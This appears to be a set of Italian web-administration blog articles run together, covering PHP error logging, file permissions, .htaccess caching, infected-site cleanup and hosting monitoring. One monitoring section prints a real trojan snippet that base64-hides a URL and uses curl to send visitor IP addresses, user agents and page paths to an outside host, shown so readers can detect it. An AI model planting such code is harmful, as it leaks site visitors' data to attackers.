Errori PHP

Ecco le istruzioni disponibili in PHP per controllare la gestione degli errori.

Visualizzare a video, oppure no

@ini_set('display_errors', 'on'); // oppure off

Decide se visualizzare gli errori (‘on’) oppure no (‘off’) a video.

Quali errori vedere

// Disabilita i Notice, i Warning, i Strict Standards e i Deprecated
@error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING & ~E_STRICT & ~E_DEPRECATED);

i Warning sono avvisi che non necessariamente rappresentano errori, però in fase di messa a punto o in caso di problemi vi può interessare vederli.

Ho aggiunto alla lista dei messaggi da escludere anche quelli di conformità strict standard, una noiosa novità del php 5.3+: se usate un software non scritto da voi non vi interessano.

Loggare errori su file

Molto utile (anche per capire cosa il vs codice sta facendo) è loggare errori e messaggi in un file. E’ possibile attivare questa funzione e specificare come si deve chiamare il file in questione con

ini_set('log_errors', 1); 
// Da ora gli errori vanno anche su file 
ini_set('error_log', "/tmp/php-error.log"); 
// Il file che conterrà gli errori è /tmp/php-error.log
error_log( "Sto facendo questa cosa" ); 
// Un messaggio che mi fa comodo vedere sul log

Da notare che questa impostazione nulla ha che vedere con la stampa errori a video, quindi possiamo avere una, l’altra, entrambe, o nessuna.

WordPress

In WordPress il posto migliore per mettere queste istruzioni sarebbe il file wp-config.php, se vogliamo che l’impostazione valga per tutto il sito.

WordPress ha però delle sue direttive per il logging errori che nelle versioni più recenti hanno priorità rispetto alle varie ini_set viste sopra.

define( 'WP_DEBUG', true ); // SI - Attivo il debug
define( 'WP_DEBUG_DISPLAY', true ); // SI - Voglio vedere i messaggi a video
define( 'WP_DEBUG_LOG', true );  // SI - Voglio loggare i messaggi

Il comportamento di WordPress delle versioni più recenti è quello di mandare una email al gestore del sito in caso si verifichino errori. Se l’invio della mail non funziona (succede) vi trovate nella grottesca situazione di non capire cosa sta succedendo, quindi attivare il debug con le istruzioni qui sopra nel wp-config.php può essere di grande aiuto. A problemi risolti ricordate di reimpostare WP_DEBUG a false.

Prestashop

In Prestahop un buon punto dove impostare la gestione degli errori è il file config/config.inc.php, dopo la prima define. Ecco una impostazione buona per un ecommerce che si sta mettendo a punto o che ha avuto qualche problema:

@ini_set('display_errors', 'on');
@error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING & ~E_STRICT & ~E_DEPRECATED); // Disabilita i Notice, i Warning e i Deprecated, vedi solo gli errori gravi

Script PHP generici

In un generico script PHP queste istruzioni vanno messe all’inizio del file. E’ buona norma usare un unico file da includere in tutto il progetto, e mettere queste istruzioni lì una volta per tutte, piuttosto che ricopiarle in tutti i file.

la funzione BackTrace

Risulta particolarmente utile capire come il programma è finito in una specifica funzione, ovvero la sequenza di chiamate sullo stack. Ecco allora una funzione utile, che ritengo la migliore alternativa all’usare un ambiente che consente l’esecuzione passo-passo:

function debug_bt() {
 $echo = '';
 if(!function_exists('debug_backtrace'))
 {
 $echo .= 'function debug_backtrace does not exist'."<br/>\n";
 return $echo;
 }
 $echo .= "<br/>\n----------------<br/>\n";
 $echo .= "Debug backtrace:<br/>\n";
 $echo .= "----------------<br/>\n";
 foreach(debug_backtrace() as $t)  {
 $echo .= "\t" . '@ ';
 if(isset($t['file'])) $echo .= basename($t['file']) . ':' . $t['line'];
 else  {
 $echo .= '(PHP inner-code)';
 }

 $echo .= ' -- ';

 if(isset($t['class'])) $echo .= $t['class'] . $t['type'];

 $echo .= $t['function'];

 if(isset($t['args']) && sizeof($t['args']) > 0) $echo .= '(...)';
 else $echo .= '()';

 $echo .= "<br/>\n";
 }
 return $echo;
}

questa sarà richiamabile o con:

die( debug_bt() );
echo (debug_bt() );

a seconda che vogliate fermare l’esecuzione o meno dopo la stampa, mentre quando siete dentro una classe PHP definitela come

public static function debug_bt()

in modo che potrete richiamarla,  per esempio, con

echo( myClass::debug_bt() );

Conclusioni

Se uno sito fa le bizze la prima cosa da fare è abilitare gli errori, e questa guida è stata scritta proprio per questo. Attenzione, non tutti i provider consentono di gestire gli errori, se il vostro non ve lo permette questa è una llista di hosting provider consigliati su cui queste tecniche appena illustrate non solo funzionano, ma dove le impostazioni sono già quelle ottimali per mettere a punto un sito senza impazzire.

Se questo articolo ti è stato utile, per favore condividilo!

I check vengono convertiti in numeri ottenendo tre codici da 0 a 7, la cosa è facile da capire se imposti i permessi con un programma interattivo come FileZilla.

In quest’ottica:

• il codice 644 significa lettura+scrittura per proprietario e sola lettura per gruppo e altri.
• il codice 755 significa lettura+scrittura+esecuzione per propietario e lettura+esecuzione per gruppo e altri: va bene per le cartelle. Spesso si usa il codice 750 che non dà diritti agli utenti terzi.
• 000 significa nessun permesso
• 777 significa tutti i permessi per tutti, da evitare per motivi di sicurezza.

Se stai leggendo questo articolo, hai bisogno di operare su più file a partire da una finestra shell linux, dunque andiamo al sodo….

Ecco un comando che imposta i permessi correttamente (644 e 755) per tutti i file e cartelle, ricorsivamente, a partire dalla cartella in cui ci si trova (.) Per gli hosting linux che uso, per me ha funzionato perfettamente:

find . -type f -exec sh -c 'chmod 644 {}' \;
find . -type d -exec sh -c 'chmod 755 {}' \;

Se non funziona, alcuni siti riportano anche questa variante:

chmod 644 $(find . -type f)
chmod 755 $(find . -type d)

Ed ecco altri comandi che vanno a settare ricorsivamente utenti e gruppo, a partire dalla sottocartella dir/ in giù:

chown -R utente dir/
chgrp -R gruppo dir/

Ovviamente nel set di comandi precedente devi sostituire a utente e a gruppo l’utente e il gruppo che ti specifico che deve risultare proprietario dei file e delle cartelle.

Come limitarle

Apri il file wp-config.php e cerca la riga conla scritta “Happy blogging“.

Aggiungi la riga sotto indicata in grassetto, e salva il file. In questo esempio stabiliamo che vogliamo conservare le ultime tre versioni di ogni pagina o articolo, sono più che sufficienti nella maggior parte dei casi.

define('WP_POST_REVISIONS', 3);

/* That's all, stop editing! Happy blogging. */

Se vuoi disabilitare del tutto le revisioni, puoi basta impostare a false:

define('WP_POST_REVISIONS', false); // Disabilitate

/* That's all, stop editing! Happy blogging. */

Come funzionano le revisioni di wordpress?

Le revisioni possono essere molto utili. Per esempio, un conoscente ha dovuto difendersi dall’accusa di aver pubblicato sul sito informazioni inaccurate. E’ stato facile recuperando da WordPress la versione della pagina incriminata alla data dei fatti. Le Revisioni si accedono dal backoffice (cioè da dove è possibile modificare i contenuti) aprendo la scheda apposita “Revisioni” dal menu “Impostazioni Schermata” che si trova in alto a destra. E’ anche possibile vedere le modifiche fatte da una versione all’altra.

Plugin utili

Per ripulire le revisioni vecchie in momenti specifici si possono usare due plugin molto conosciuti: WP-Optimize e Optimize DB after Deleting Revisions. La differenza è che qui la ripulitura è totale (vengono cancellate tutte) e a richiesta, sebbene sia possibile programmare le pulizie a cadenza prefissata, ad esempio una volta al mese. Entrambi i plugin effettuano altre pulizie sul DB che aiutano a mantenere il sito libero da sporcizia inutile.

E’ dimostrato che un solo secondo di ritardo nel caricamento di una pagina può risultare in una riduzione del 7% nelle conversioni. La percentuale di utenti che abbandonano il carrello cresce al 40% se la pagina del carrello impiega più di 3 secondi a caricarsi.

Incrementare la velocità di navigazione del vostro sito ha un ritorno economico tangibile!

Oggi ogni sito andrebbe controllato con lo strumento grartuito  PageSpeed Insights. Se dopo il test ottieni questi messaggi di avviso:

• Abilita la compressione

• Sfrutta il caching del browser

Puoi migliorare le prestazioni del tuo sito applicando gli accorgimenti descritti in questo articolo.

La mia ricetta (anche detta SpeedUp) è una combinazione di impostazioni messe a punto dopo numerosi test e studi sulle funzionalità avanzate offerte dal server web Apache e i suoi moduli. Tale combinazione è pensata per agire su velocità, sicurezza e costi del tuo sito. Ecco cosa fa la mia soluzione, in sintesi:

• Istruisce il browser ad effettuare la memorizzazione in locale (caching) dei file grafici, css, script e altro per un anno seguendo le racomandazioni fornite da Google. Ciò significa che dopo la prima pagina caricata, le successive si aprono molto più in fretta.
• Attiva la compressione in tempo reale dei contenuti. Molti non lo sanno ma ogni browser è in grado di utilizzare contenuti compressi per cui è sufficiente che il server comprima i contenuti voluminosi per ridurre il tempo di trasmissione dati. Molti hosting di qualità offrono questa funzione che non viene quasi mai utilizzata e che noi attiviamo.

Questa soluzione si può applicare solo su hosting di qualità basati su server Apache sotto Linux (vedi questa pagina per alcuni consigli).

NON credo si possa applicare a server Nginx, Lighttpd, sicuramente non a Tomcat, e altri.

La soluzione è testata su siti WordPress e PrestaShop qualsiasi versione. E’ applicabile ad altri software.

Puoi provarla, è gratuita.

1) La ricetta da applicare al file .htaccess

# compress text, html, javascript, css, xml:
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript

# Set up caching on static resources for 1 year based on Google recommendations
<IfModule mod_expires.c>
ExpiresActive On
<FilesMatch "\.(flv|ico|pdf|avi|mov|ppt|doc|mp3|wmv|wav|js|css|gif|jpg|jpeg|png|swf|svg|woff)$">
ExpiresDefault A29030400
</FilesMatch>
</IfModule>

# Enable gzip compression
<ifModule mod_gzip.c>
mod_gzip_on Yes
mod_gzip_dechunk Yes
mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$
mod_gzip_item_include handler ^cgi-script$
mod_gzip_item_include mime ^text/.*
mod_gzip_item_include mime ^application/x-javascript.*
mod_gzip_item_exclude mime ^image/.*
mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*
</ifModule>

// remove wp version param from any enqueued scripts
function vc_remove_wp_ver_css_js( $src ) {
if ( strpos( $src, 'ver=' ) )
$src = remove_query_arg( 'ver', $src );
return $src;
}
add_filter( 'style_loader_src', 'vc_remove_wp_ver_css_js', 9999 );
add_filter( 'script_loader_src', 'vc_remove_wp_ver_css_js', 9999 );

Comportamento

Spesso l’infezione di un sito avviene con l’inserimento di uno script (tipicamente Javascript) che durante la visita al sito apre finestre pop-up su altri siti, spesso illegali o carichi di altre nefandezze.

Come faccia un hacker a modificare i file del vostro sito non è l’oggetto di questo articolo: qui ipotizziamo che il tuo sito non si comporti come dovrebbe (ad esempio: apre una finestra pop-up su un sito esterno che non conosci) oppure appare da qualche parte una scritta o un link che mai ti saresti sognato di mettere.

Segui i passi qui sotto per liberarti del problema.

Step 1 – Identificazione

Per risolvere un problema occorre prima identificarlo. Quindi devi essere tanto fortunato (se così si può dire) da ricevere una segnalazione di qualcuno che ti dica come riprodurre il comportamento in questione.

Se così è, annota quindi tutti i dettagli possibili:

• Si apre una finestra di pop-up su un sito esterno? Annotane l’indirizzo URL
• C’è un link verso un sito illegale? Annota la scritta che vedi o l’URL
• Il caricamento della pagina si blocca tentando di caricare da qualche sito esterno? Annotane l’URL

Step 2 – Ricerca

Il passo più difficile è di solito capire quale file è stato modificato e che causa l’apertura del pop-up o il link in questione. Per questa ricerca devi usare le informazioni che hai annotato nel passo 1, cercando le stringhe esatte in tutti i file del sito. Ciò è fattibile tramite una ricerca ricorsiva sui file.

Supponiamo che tu ti sia accorto che visitando il tuo sito si apre una connessione a un sito sospetto chiamato “jque.net” (l’esempio è tratto da un caso reale, proprio quello era il sito, che mimava un nome conosciuto per sembrare innocuo).

Supponendo che tu abbia un hosting che ti consente di aprire una finestra shell, una volta collegato con Telnet/Putty lancia i seguenti comandi:

cd public_html

find . -exec grep 'jque.net' {} \; -print 2>/dev/null

Il primo comando ti fa posizionare sulla cartella che rappresenta la root del tuo sito.

Il secondo comando trova i file che contengono la stringa cercata: jque.net – modifica la stringa con qualunque cosa tu abbia visto di irregolare o che tu voglia cercare nel tuo sito.

Dopo una breve attesa otterrai, con un pò di fortuna, una lista di tutti i file che contengono quella stringa e la loro posizione.

Vai quindi a cercare il file in questione (ormai sai qual’è il file che è stato alterato e dove si trova) e quando ti trovi nella cartella che lo contiene, sempre all’interno della shell digita:

ls -al

Annota data/ora di modifica del file. E’ possibile che l’hacker abbia modificato altri file lo stesso giorno, cosa che vogliamo ora verificare.

Ora, per cercare nel sito tutti i file che sono stati modificati, ad esempio, il 6 Marzo 2013 usa il seguente comando:

find . -newermt 2013-03-06 ! -newermt 2013-03-07 -ls

Il che significa “trova tutti file modificati tra il 06 mar 2013  (incluso) e il 07 mar 2013 (escluso).

In generale usa come prima data è il giorno in questione, e come seconda data è il giorno dopo, curando di usare il formato aaaa-mm-gg.

E’ possibile modificare le date per ampliare il range del controllo, spesso queste incursioni vengono svolte in più giorni adiacenti.

Ovviamente ogni file andrebbe ispezionato per escludere che sia un falso positivo: potrebbe essere un file che hai modificato tu nella normale attività di gestione.

Step 3 – Rimozione

La rimozione di uno script inserito è di solito semplice: si cerca la stringa con un text editor e si rimuove il riferimento o lo script. Meglio ancora se si può recuperare il file originario da un backup.

Navigando sul sito il problema dovrebbe essere ora risolto.

Spunti ulteriori

Abbiamo visto la procedura base per la rimozione di un link, riferimento, script o scritta in un sito infetto. E’ stata una buona “scusa” per imparare a usare l’utilissimo comando find che unix ci mette a disposizione. Ecco alcuni spunti ulteriori:

• Stringhe codificate non vi temo – non è detto che la stringa cercata sia in chiaro. Se l’hacker è stato furbo potrebbe averla cifrata e un sistema molto usato è il metodo base64. Vedi questo articolo per cercare istruzioni di decodifica base64_decode che possono nascondere la stringa in questione.
• Url shortner: sgamali con Fiddler – un’altro sistema per mascherare i link è usare dei link shortner, servizi gratuiti come bit.ly o goo.gl che mascherano un link rendendolo meno visibile. Se l’hacker ha usato questo sistema per nascondere gli indirizzi a cui devia traffico puoi tracciare cosa succede avvalendoti del tool gratuito Fiddler.
• Niente shell, niente paura! – Molti diranno che non hanno a disposizione il comando find perchè hanno un hosting Windows oppure un hosting economico che non offre la shell (fatemi indovinare… è italiano). Oltre che consigliarvi di prendere un hosting estero o comunque fatto secondo gli standard di servizio USA (io uso HostGator, trovate i rif. in questa pagina per ottenerlo con lo sconto) puoi ripiegare scaricando l’intero sito sul vostro PC e facendo poi sul vostro disco una ricerca ricorsiva con un text editor adatto, io uso TextPad che è disponibile in versione di prova gratuita e anche in italiano. Quando scarichi il tuo sito, meglio se lo fai impacchettandolo in un unico ZIP direttamente dal server, così le date di modifica dei file resteranno invariate e avrai una informazione preziosa in più.

E’ stato utile? Condividi!

Se grazie a queste dritte hai salvato il… sito apprezzerò molto che tu lo condivida. Questo è il modo migliore per avere altre risorse gratuite a disposizione in futuro.

Il cliente in questione aveva un e-commerce PrestaShop, ospitato su un hosting di fascia media (HostGator).

Il sito in questione era già stato ottimizzato in parte usando la mia ricetta di caching basata su htaccess. Ma c’è sempre la possibilità di migliorare.

Step 1 – Misurare

Per procedere in modo corretto è necessario misurare le performance prima e dopo, quindi ho utilizzato due servizi, entrambi gratuiti:

• Pingdom Speed Test
• Google PageSpeed

Ecco le misurazioni eseguite sulla home page a inizio lavoro:

	prima
rating Google	74
rating Pingdom	78
tempo caricamento (secondi)	3,44

Step 2 – Sfruttare il download in parallelo

I siti di e-commerce (e in generale la maggior parte dei siti al giorno d’oggi) sono oggetti estremamente complessi, ogni pagina necessita di moltissimi file esterni per funzionare: fogli di stile CSS, file Javascript, immagini.

Quando un visitatore arriva sul sito il browser si trova immediatamente una lista lunghissima di file da scaricare. Molti non lo sanno, ma c’è un limite a quanti oggetti un browser può scaricare dallo stesso sito: inizia con i primi 10 oggetti e gli altri download aspettano in coda. Quindi, per sfruttare più download in parallelo, occorre che molti degli oggetti statici siano scaricati da un dominio diverso da quello che ospita il sito.

Infine, ogni conversazione con il server include scambi di informazioni contenuti nei cookie, ecco perchè è utile che i download di oggetti statici avvengano su un dominio “cookieless”, ovvero che non prevede uso di cookie, in questo modo la connessione usa meno informazioni ed è un pò più rapida.

Ho perciò creato sullo stesso hosting, usando cPanel, un sottodominio static.dominio.com, destinato a servire gli oggetti statici più comuni come loghi, file javascript e CSS. Si tratta di un dominio che non gestirà mai i cookie, a vantaggio della velocità.

Lì sopra ho copiato in pochi istanti, con il file manager, la cartella del tema con i suoi file statici, togliendo quanto non serve.

Infine ho aperto il file defines.inc.php del PrestaShop e ho ridefinito le tre costanti che indicano dove i file statici del tema risiedono.

define('_THEME_IMG_DIR_',  'https://static.dominio.com'._THEME_DIR_.'img/');
define('_THEME_CSS_DIR_',  'https://static.dominio.com'._THEME_DIR_.'css/');
define('_THEME_JS_DIR_',   'https://static.dominio.com'._THEME_DIR_.'js/');

Forzando la ricompilazione dei file template si è già metà strada.

Ovviamente anche il sito static sfrutta la mia ricetta per il caching e la compressione basata su htaccess.

Step 3 – Attivare le opzioni di Smart Cache di PrestaShop

PrestaShop ha svariate opzione di ottimizzazione del codice che permettono di comprimerlo riducendo così i tempi di trasmissione e di esecuzione (a scapito della leggibilità, ma è il male minore).

Ho quindi attivato, in Backoffice – Preferenze/Performance:

Step 4 – Misurazione e risultati

A fine lavoro ho rifatto le misurazioni. Qui sotto trovate gli screenshot prima e dopo la cura.

I risultati sono chiari nella tabella che segue:

	prima	dopo	differenza	percentuale miglioramento
rating Google	74	83	9	12%
rating Pingdom	78	86	8	10%
tempo caricamento (secondi)	3,44	2,55	0,89	26%

Si è ottenuto un incremento medio di ranking del 11% e una riduzione del 26% del tempo di caricamento originario… più o meno il secondo che speravo di recuperare!

Una nota finale

A fronte di questo buon risultato, non si deve pensare che incrementando l’uso del dominio parallelo e delle opzioni di ottimizzazione si vada sempre di bene in meglio…

• Spostando sul dominio statico anche le cartelle “js” e “css” presenti nella cartella radice PrestaShop, mi aspettavo un ulteriore miglioramento e invece, probabilmente perchè era ora saturo anche il canale di download parallelo, il ranking è rimasto buono ma il tempo di caricamento è clamorosamente ripiombato ai livelli inziali!
• Sempre in PrestaShop, Preferenze->Performance son presenti altre due opzioni per comprimere ulteriormente il codice, dopo averle attivate esse hanno però prodotto malfunzionamenti sulla visualizzazione, quindi sono state immediatamente disattivate.

Quanto sopra mostra che non ci sono ricette perfette a priori, occorre sempre provare, misurare e applicare ciò che funziona.

Per la realizzazione di questi accorgimenti mi è stato prezioso l’impiego di un hosting provider che lasci intervenire su domini di terzo livello e file htaccess. Per questo si sono rivelati soldi ben spesi quelli impiegati per un hosting basato su cPanel. Chi vuole dotarsi dello stesso hosting (HostGator) troverà nella sezione Link utili un codice per ottenere l’hosting a prezzo scontato, ma anche nel nostro paese ci sono buone alternative.

Per approfondire

1 secondo di ritardo causa il 7% di vendite in meno – come risolverlo (in inglese)

Ecco un paio di sistemi semplici per tenere sotto controllo il vostro spazio web e partire per le vacanze più tranquilli.

Controllo di tutti files cambiati durante la notte

Se sei invacanza e non stai lavorando ti sembrerà strano se scopri che alcuni file del tuo sito sono stati modificati ieri notte…

Ecco uno script che trova tutti i file modificati nelle ultime 24 ore. E’ facile se hai un hosting provider come questi fare in modo che questo report ti venga inviato via email ogni mattina. Personalizza le parti in corsivo:

#finder.sh - impostare in cron tutte le notti

echo "Files modificati"
echo " "

# Di seguito personalizzare con la directory in cui vuoi che inizi la ricerca (le sottocartelle sono automaticamente incluse)

cd /home/myuser/public_html
find . -mtime -1 -type f \! -path './sito/smarty/cache/*'

Nota la stringa:

\! -path './sito/smarty/cache/*'

questa serve ad escludere il percorso ./sito/smarty/cache/ dalla ricerca. Utile per evitare di essere avvisati in caso di cambiamenti in cartelle dove è normale che i files si rigenerino (cache e simili)

Controllo anti codice malevolo

Uno dei sistemi preferiti degli hacker per inserire codice malevolo e non essere scoperti è quello di codificarlo tramite un algoritmo chiamato base64, poi tramite PHP questa stringa può essere convertita di nuovo in codice eseguibile e infine eseguita.

Ecco come appare un codice pirata ultimamente in circolazione (si tratta di un Trojan legato al sito mbrowserstats.com):

if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}

Se ora trovaste questo codice nel file principale (index.php) del vostro sito o del vostro tema WordPress probabilmente non vi preoccupereste perchè a noi umani la stringa base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRIL3N0YXQucGhw')non dice granché. Dentro però c’è l’istruzione che dice al server di collegarsi al sito dei pirati, che a sua volta fornisce carpisce i dati nostri e dei visitatori.

Un controllo semplice che si può fare al prima di partire (e in generale ogni mese) è quello di seguire uno script che cerchi tutte le istruzioni base64_decode all’interno del nostro spazio web, e ci fornisca una lista di tutti i file index.php che la conengono, con la riga in questione. Ecco lo script:

cd /home/myuser/public_html/ find . -name "index.php" -exec grep 'base64_decode' '{}' \; -print > checklist.txt

Il file checklist.txt a questo punto è pronto per essere esaminato.

Qui i risultati vanno un pò interpretati con buon senso. La presenza di stringhe oscure deve mettervi sull’attenti, ma non è detto che si tratti di codice malevolo. Infine non è detto che la stringa malefica debba trovarsi in un file che si chiama index.php, potrebbe pure trovarsi altrove, o potrebbe trovarsi in un punto del file che lo script non individuerebbe. Insomma questo test vi fa stare un minimo più tranquilli catturando una classe di casi ma non è garanzia di nulla né in un senso né nell’altro.

Se volete vedere a cosa corrisponde il codice trovato dentro una base64_decode basterà andare a questo indirizzo http://www.motobit.com/util/base64-decoder-encoder.asp , incollare la stringa di codice racchiusa tra gli apicetti , seezionare “Decode” e infine cliccare “Convert” per vedere di cosa si tratta e toglierci ogni dubbio.

Se hai trovato utile questo articolo, condividilo!

Premessa

Questo breve tutorial non pretende di risolvere qualsiasi internal server error, che è un messaggio molto generico con cui ci viene comunicato che qualcosa sul nostro sito non è andato per il verso giusto. In questa guida ci riferiamo solo al caso specifico in cui si tratti di un hosting Linux su Aruba, e qualora l’errore sia emerso dopo una operazione di sostituzione file, come ad esempio l’aggiornamento automatico di WordPress. In altri casi questo errore può essere collegato a qualcos’altro come ad esempio una operazione di salvataggio di file operata dal vostro sito.

Risolviamo il guaio

E facciamolo in fretta, perchè se Google vi trova offline son dolori…

1. Recupera le credenziali per l’accesso al tuo account Aruba. Se non le hai a portata di mano, prova a cercare nel tuo programma di posta elettronica con la funzione Trova e inserendo la stringa: @aruba.it nel criterio di ricerca “corpo del messaggio” oppure nel campo “mittente“. Le credenziali che cerchi sono qualcosa del tipo 123456@aruba.it e relativa password.
2. Accedi al pannello “Area Utenti” di Aruba che è qui: https://hosting.aruba.it/areautenti.asp e entra usando le tue credenziali
3. Ora sei nello schermo principale (v. figura a lato). Sotto al dominio associato al tuo sito trovi un pulsante PANNELLO DI CONTROLLO, fai clic su quello.
4. Sei ora nel pannello di controllo del tuo dominio, in questo caso abbiamo un piano Hosting Easy Linux (il tuo tipo di hosting può essere leggermente differente, cerca di adattare queste istruzioni al tuo caso).
5. Cerca il pulsante che ti porta alla funzione “Riparazione permessi” , nel nostro caso è etichettato “Servizi hosting Linux” indicato dalla freccia.
6. Nel nostro caso si finisce su un ulteriore menu (v. figura), la voce che ci interessa è indicata dalla freccia ed è “Riparazione permissions“
7. E’ ormai fatta! Alla finestra di avviso che si apre (e se non si apre, disattivate il blocco pop-up sul browser) fate clic su OK. Nell’arco di pochi secondi il sito dovrebbe essere di nuovo a posto.

Che cos’era successo?

Come si vede, non si tratta di un problema grave. Per quanto mi è dato di capire, a volte qualche script del sito va a salvare un file con permessi che non sono compatibili con lo schema di sicurezza usato da Aruba.

Intanto, se sai poco di hosting e ti sei perso l’articolo della settimana scorsa, ti invito a leggerlo per avere una panoramica sulle tipologie di offerte che potresti trovare in giro.

1. Monitorare l’UpTime

Non tutti sanno che se il server che ospita il sito risulta inattivo o irraggiungibile per un pò di tempo, questo può provocare una penalizzazione, seppure temporanea, nei risultati di ricerca di Google. L’agente che “tiene d’occhio”, per così dire, il tuo sito tiene traccia anche dei downTime e se il sito presenta problemi cronici la penalizzazione può essere altrettanto cronica.

Se usi Google Strumenti per il Webmaster e hai ricevuto il messaggio “Googlebot can’t access your site“, è un chiaro segnale che qualcosa non ha funzionato quando Google veniva a visitare il tuo sito. Spesso questo incidente si ripete in modo regolare, vediamo di scoprirlo usando un servizio gratuito chiamato Pingdom, che controlla per te il tuo sito ogni 5 minuti e ti avvisa se lo trova inattivo: Se qualcosa non va, meglio che lo sappia tu prima che lo scopra Google!

Soluzione: Monitoraggio con Uptime Doctor

Vai su www.uptimedoctor.com e dopo aver messo il tuo nome e email clicca su Sottoscrivi.

Ti verrà inviata una mail di verifica per controllare che l’email di contatto sia valido e poi potrai attivare controlli cadenzati su un massimo di 5 siti nell’account gratuito.

Avrai così un controllo puntuale e preciso che, se trova il tuo sito giù, ti avvisa con una mail. Un altro fatto interessante è che all’inizio di ogni mese viene inviato un report di uptime, basato sull’esito dei controlli effettuati nel mese appena trascorso.

Quando ricevi la mail di uptime report ogni inizio mese, controlla sempre la percentuale di uptime e soprattutto il tempo di inattività che è stato registrato. Per esempio si potrebbe pensare che un UpTime del 99.1% sia soddisfacente, ma quando scopri che ciò corrisponde a 7 ore di inattività, devi capire che si tratta già di una inattività grave.

Consiglio di non tollerare più di 1 ora/mese di inattività. Se il tuo provider lascia regolarmente il tuo sito irraggiungibile per più tempo, ti conviene cambiarlo con uno più affidabile. Uptime Doctor produce anche un comodo grafico con cui puoi chiedere al tuo provider il rimborso (se lo prevede) per il periodo di hosting pagato ma non fruito.

Trucco: Monitora il sito di un conoscente

Per sapere se un provider è o no affidabile, cerca di trovare qualcuno che già lo usa, poi metti un monitoraggio sul suo sito. Dopo un paio di mesi avrai una misura abbastanza affidabile di come quel provider funziona. Ovviamente ci possono essere differenza da un server all’altro, ma se ci sono molti downtime… cerca altrove!

Per esempio, questo sito da cui stai leggendo è hostato da HostGator. Prova a monitorarlo e saprai che è quasi tutti i mesi up il 100% del tempo.

2. Monitorare la velocità

A nessuno piace aspettare mentre un sito si carica. Inoltre, Google da un pò misura la velocità dei siti e penalizza quelli che risultano più lenti della media. Dunque, c’è poco da scherzare.

Trucco: controlla la velocità con PageSpeed Insights

Anche questo è gratuito e in più funziona senza alcuna registrazione. Apri la pagina:  pagespeed.web.dev e scrivi l’indirizzo del tuo sito, poi clicca Analizza.

Dopo pochi secondi, si ottiene il responso. Il test eseguito su questo sito per la piattaforma Computer/PC è 74% con 100% di SEO.

Teniamo presente comunque, che il test viene eseguito dagli Stati Uniti (quindi per utente italiano il tempo effettivo di caricamento sarà diverso), che cambia da provider a provider e che è importante anche un valore assoluto di tempo: La mia raccomandazione è che il tempo di caricamento di una pagina non sia mai oltre i 7 secondi, e  posibilmente entro i 2 per avere un risultato ottimale.

Altro valore “che conta” ai fini del ranking è quello riscontrato da Google ed è visibile, se lo usi, in Google Search Console nel pannello Esperienza->Core Web Vitals: Non dovresti mai avere pagine le cui prestazioni sono marcate in rosso.

Ho riportato il metodo con Pagespeed soprattutto perchè, anche per questo fattore, puoi usare il servizio anche per monitorare il sito di un concorrente, oppure un conoscente che già usa il provider che ti interessa.

Conclusioni

Abbiamo visto alcuni metodi e trucchi per verificare la bontà di un hosting provider in merito a velocità e “uptime” ovvero tempo di attività. E’ possibile quindi verificare se il provider in questione offre un servizio qualitativamente buono, anche quando non abbiamo già acquistato un piano hosting.

Se trovi che questo tutorial sia utile, per favore condividilo.

Fattori chiave

Prima di scegliere è fondamentale porsi alcune domande e darsi una risposta in modo sincero. Per evitare di influenzare le tue scelte potresti rispondere subito alle domande che seguono, e poi vedere quale “peso” i vari fattori hanno sul tuo progetto.

1. Complessità di gestione: “Quanto ne capisci” di siti web? Qual’è il grado di capacità di gestione degli strumenti web che tu (o il tuo tecnico) avete?
2. Tecnologia: Con che tecnologia è (o sarà) costruito il tuo sito? PHP/Linux, ASP/ASPx Microsoft o altre architetture speciali?
3. Flessibilità: Quanto è probabile che tu estenda il sito con altri strumenti (mailing list, forum, domini di terzo livello, app facebook)?
4. Traffico: Quanti utenti (in migliaia al giorno) ti aspetti di avere nel prossimo anno?
5. Spazio: Quanto spazio disco userà il sito e la posta elettronica?
6. Prezzo: Quanto è importante il costo?

Se hai dato le risposte a queste domande annotale, più sotto fornirò uno schema semplicissimo per operare la scelta, in questo modo sarai certo che le indicazioni che riceverai saranno basate sulle tue reali necessità.

Intanto cerchiamo di capire che cosa possiamo aspettarci di trovare oggi sul mercato…

Tipi di Hosting

Per il momento è fondamentale capire le differenze che ci sono tra le varie opzioni. Se quello che leggi ti sembra esageratamente complesso puoi andare direttamente allo schema decisionale in fondo all’articolo.

1 – Hosting condiviso (shared hosting)

Questa opzione, che è forse la più conosciuta e usata, prevede che il tuo sito venga ospitato su una macchina che fondamentalmente ha un unico server web ben ottimizzato, e gestisce una quantità di siti (il tuo, e quello di tante altre persone). Tu hai la possibilità di caricare i file e eventuale database che compongono il tuo sito ed effettuare una serie di configurazioni che hanno effetto ovviamente solo sul tuo sito. Per quanto riguarda gli altri servizi (es. posta elettronica) anche essi vengono gestiti con modalità analoghe ovvero la tua posta elettronica viene inviata dallo stesso computer che invia la posta di altri centinaia (o migliaia) di siti.

Pro:

• Costo: Il costo è contenuto (da 10 a 50 Euro per un singolo sito, o anche meno)
• Semplicità di gestione: La gestione del server viene fatta dal provider (aggiornamenti, blocchi, ecc.). Questo è un gran vantaggio e significa per te risparmiare ore di lavoro. Inoltre, se un server si blocca, il fatto che gestisca un alto numero di siti rende molto probabile che qualcuno chiami e solleciti il ripristino.

Contro:

• Configurabilità: Le opzioni di configurazione dei servizi sono limitate, ciò rende questa opzione poco adatta per siti costruiti con tecnologie “speciali”, tipo Java, .net o altre più o meno astruse.
